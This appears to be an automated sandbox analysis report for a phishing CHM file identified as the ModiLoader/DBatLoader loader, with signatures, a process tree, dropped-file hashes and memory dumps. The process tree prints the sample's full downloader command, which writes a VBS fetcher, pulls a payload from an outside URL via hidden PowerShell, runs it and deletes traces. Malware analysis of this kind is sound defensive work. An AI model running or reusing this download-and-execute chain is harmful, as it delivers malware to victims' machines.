Analysis

  • max time kernel
    122s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20/01/2025, 10:56

General

  • Target

    PO_095709_0485685_MQ1940_Order_Specifications.chm

  • Size

    75KB

  • MD5

    98191ac03cddd697bed63b0eab761bed

  • SHA1

    9ea831063cbdccf9de4b79e195800cac9d5518ad

  • SHA256

    5ce8a7ef07cbd67618627078f820dae2c0f9e29a4113e498c7aefd1c39b3ad33

  • SHA512

    7313ac3423e2e68e42c58a04b6b945b5b0e6ff1c8aea91fb145cca927d19b0be54b2cb174ef6a8434970b41ed539ce295da6b8246844ddbf3b5735a7b77f4a7d

  • SSDEEP

    1536:pbN0IxCKVgZpisZ1MJ0cifP4R232WJniFPurASPDuP/V6McEJh:ZGIkgI1gNi44TJiFP8ASS8ML

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modiloader family
  • ModiLoader Second Stage 61 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Windows\hh.exe
    "C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\PO_095709_0485685_MQ1940_Order_Specifications.chm
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2396
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c extrac32 /y /C C:\Windows\system32\cscript.exe C:\\Users\\Public\\ript.exe > nul && echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>C:\\Users\\Public\\aloha.vbs & powershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "C:\\Users\\Public\\ript.exe C:\\Users\\Public\\aloha.vbs https://projectvends.org/key/PO.CMD C:\\Users\\Public\\df.cmd" & powershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "start C:\\Users\\Public\\df.cmd ;Break" & del /q "C:\Users\Public\ript.exe" / A / F / Q / S >nul & del /q "C:\Users\Public\aloha.vbs" / A / F / Q / S >nul & taskkill /F /IM hh.exe & exit
      2⤵
      • Hide Artifacts: Hidden Window
      • Suspicious use of WriteProcessMemory
      PID:2564
      • C:\Windows\system32\extrac32.exe
        extrac32 /y /C C:\Windows\system32\cscript.exe C:\\Users\\Public\\ript.exe
        3⤵
          PID:1036
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "C:\\Users\\Public\\ript.exe C:\\Users\\Public\\aloha.vbs https://projectvends.org/key/PO.CMD C:\\Users\\Public\\df.cmd"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:852
          • C:\Users\Public\ript.exe
            "C:\Users\Public\ript.exe" C:\\Users\\Public\\aloha.vbs https://projectvends.org/key/PO.CMD C:\\Users\\Public\\df.cmd
            4⤵
            • Executes dropped EXE
            • Modifies system certificate store
            PID:2664
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "start C:\\Users\\Public\\df.cmd ;Break"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2476
          • C:\Windows\system32\cmd.exe
            cmd /c ""C:\Users\Public\df.cmd" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2940
            • C:\Windows\system32\extrac32.exe
              extrac32 /y "C:\Users\Public\df.cmd" "C:\Users\Admin\AppData\Local\Temp\x.exe"
              5⤵
                PID:568
              • C:\Users\Admin\AppData\Local\Temp\x.exe
                "C:\Users\Admin\AppData\Local\Temp\x.exe"
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                • Suspicious use of WriteProcessMemory
                PID:1680
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c ""C:\Users\Public\JoqtiazeF.cmd" "
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:3028
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c C:\Users\Public\Libraries\FX.cmd
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:1544
                  • C:\Windows \SysWOW64\svchost.pif
                    "C:\Windows \SysWOW64\svchost.pif"
                    7⤵
                    • Executes dropped EXE
                    PID:2568
                  • C:\Windows \SysWOW64\svchost.pif
                    "C:\Windows \SysWOW64\svchost.pif"
                    7⤵
                    • Executes dropped EXE
                    PID:548
                • C:\Users\Public\Libraries\ezaitqoJ.pif
                  C:\Users\Public\Libraries\ezaitqoJ.pif
                  6⤵
                  • Executes dropped EXE
                  PID:2300
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM hh.exe
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:844

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\x.exe

        Filesize

        988KB

        MD5

        def78c9fbba5b51a694c94bdd8b90b5c

        SHA1

        4c9878326b3964e6aeea86e16800d13a6da7da38

        SHA256

        27a56c231c128fe16361c024507fa1f085e388440233f55842f9a42b5576e71e

        SHA512

        9001f2ea1fa8200030078741573606e55f70a823476987481a66ff2c841ded80541b2a74d2eebc564443e3583d7cbae016009c76214970d0e4fe018da4d91e5f

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        f555db58877ad2d36a2241fbe98a5d1e

        SHA1

        413574750b81d353de41a3e53a787afa6f7f7b44

        SHA256

        9b4b256f861a8eb990a2aa7f1a60d888382304f7b358ae13056453f9e08e3cc1

        SHA512

        c9209af52b7cbf8ce74b74fdfd8ee21a61a27da4cb816a345e1d3985eb99b2f21a30f1b0ebd3f0a904d23a02bdaecb6bfddf0a4617db81747ff9143f82b7460f

      • C:\Users\Public\JoqtiazeF.cmd

        Filesize

        11KB

        MD5

        f82aeb3b12f33250e404df6ec873dd1d

        SHA1

        bcf538f64457e8d19da89229479cafa9c4cce12f

        SHA256

        23b7417b47c7efb96fb7ce395e325dc831ab2ee03eadda59058d31bdbe9c1ea6

        SHA512

        6f9d6daeed78f45f0f83310b95f47cc0a96d1db1d7f6c2e2485d7a8ecb04fee9865eec3599fee2d67f3332f68a70059f1a6a40050b93ef44d55632c24d108977

      • C:\Users\Public\Libraries\FX.cmd

        Filesize

        8KB

        MD5

        7821e3de3812e791cf3b223500d73bc9

        SHA1

        5e211b634ce77e6fee83ce8a5b8c9a37c8b81e1d

        SHA256

        3daa7f9eee129f61f7a452f7150ee21a1c4141586a37f37842b9c3bb53152a74

        SHA512

        6eae270065401626df97b73a255578bf27b4f4dea480954843823046ad95e40cf706c1a767c8765ef3ab48ea3a18498375614317ec00a9ef29a4dd21edbc5f26

      • C:\Users\Public\aloha.vbs

        Filesize

        194B

        MD5

        71efa4ec6c67fa5665b1d0c64d60fc25

        SHA1

        f546eda2b94df327b7ad5fa5bb0ba20cd37b2623

        SHA256

        08212be8f6fd3d4312f20a7604807c04da643333f07267c7e9713a452e079898

        SHA512

        7b1bbbb23e21cd011964397860b1cf5bdebbd20b6b3d5317c13ff5b3bdb0223a51c036be2b730254c11725a69c34ab90d2ae24872af788e076914364a82b31d6

      • C:\Users\Public\df.cmd

        Filesize

        988KB

        MD5

        17e6e713ed88991dfadaa8f898f44f39

        SHA1

        ff4ae1fc81e3bf4c853f216aba29d6f1ee40aafe

        SHA256

        993cdeb22d286c12418aa42265112149f4499104fa61cee4f0f0fef2426ea69f

        SHA512

        a3db59c1ec2ec419791dca2140d2cae3c63c1080e133a43b43e5f47c673c1a255b12f71c8e62a9f47026a985f8b1727d18fcf064d70e4605d279a99d98672bf5

      • C:\Windows \SysWOW64\svchost.pif

        Filesize

        94KB

        MD5

        869640d0a3f838694ab4dfea9e2f544d

        SHA1

        bdc42b280446ba53624ff23f314aadb861566832

        SHA256

        0db4d3ffdb96d13cf3b427af8be66d985728c55ae254e4b67d287797e4c0b323

        SHA512

        6e775cfb350415434b18427d5ff79b930ed3b0b3fc3466bc195a796c95661d4696f2d662dd0e020c3a6c3419c2734468b1d7546712ecec868d2bbfd2bc2468a7

      • \Users\Public\Libraries\ezaitqoJ.pif

        Filesize

        171KB

        MD5

        22331abcc9472cc9dc6f37faf333aa2c

        SHA1

        2a001c30ba79a19ceaf6a09c3567c70311760aa4

        SHA256

        bdfa725ec2a2c8ea5861d9b4c2f608e631a183fca7916c1e07a28b656cc8ec0c

        SHA512

        c7f5baad732424b975a426867d3d8b5424aa830aa172ed0ff0ef630070bf2b4213750e123a36d8c5a741e22d3999ca1d7e77c62d4b77d6295b20a38114b7843c

      • \Users\Public\ript.exe

        Filesize

        152KB

        MD5

        791af7743252d0cd10a30d61e5bc1f8e

        SHA1

        70096a77e202cf9f30c064956f36d14bcbd8f7bb

        SHA256

        e34910c8c4f2051b1b87f80e9b389dfe3583bb3e4da909bb2544f22c2d92cf15

        SHA512

        d564f20748189de62525d2c0d4a199a272e3b273a38bd2ccd0bd7f9141f118eae08223b2a0739cd9bdf73234a0f0fb3566eaf88884462e494d44617bd9ac3ccb

      • memory/852-25-0x000000001B670000-0x000000001B952000-memory.dmp

        Filesize

        2.9MB

      • memory/852-26-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

        Filesize

        32KB

      • memory/1680-124-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-110-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-99-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-98-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-96-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-94-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-93-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-89-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-88-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-86-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-84-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-82-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-81-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-79-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-76-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-75-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-74-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-142-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-141-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-140-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-138-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-136-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-134-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-131-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-130-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-128-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-126-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-111-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-121-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-120-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-118-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-116-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-113-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-101-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-108-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-107-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-104-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-102-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-100-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-67-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-97-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-95-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-92-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-91-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-90-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-87-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-85-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-83-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-80-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-78-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-64-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-77-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-65-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-73-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-72-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-71-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-70-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-68-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-66-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-69-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-62-0x0000000000400000-0x0000000000500000-memory.dmp

        Filesize

        1024KB

      • memory/1680-60-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/1680-59-0x0000000003440000-0x0000000004440000-memory.dmp

        Filesize

        16.0MB

      • memory/2476-51-0x000000001B7A0000-0x000000001BA82000-memory.dmp

        Filesize

        2.9MB

      • memory/2476-52-0x00000000027E0000-0x00000000027E8000-memory.dmp

        Filesize

        32KB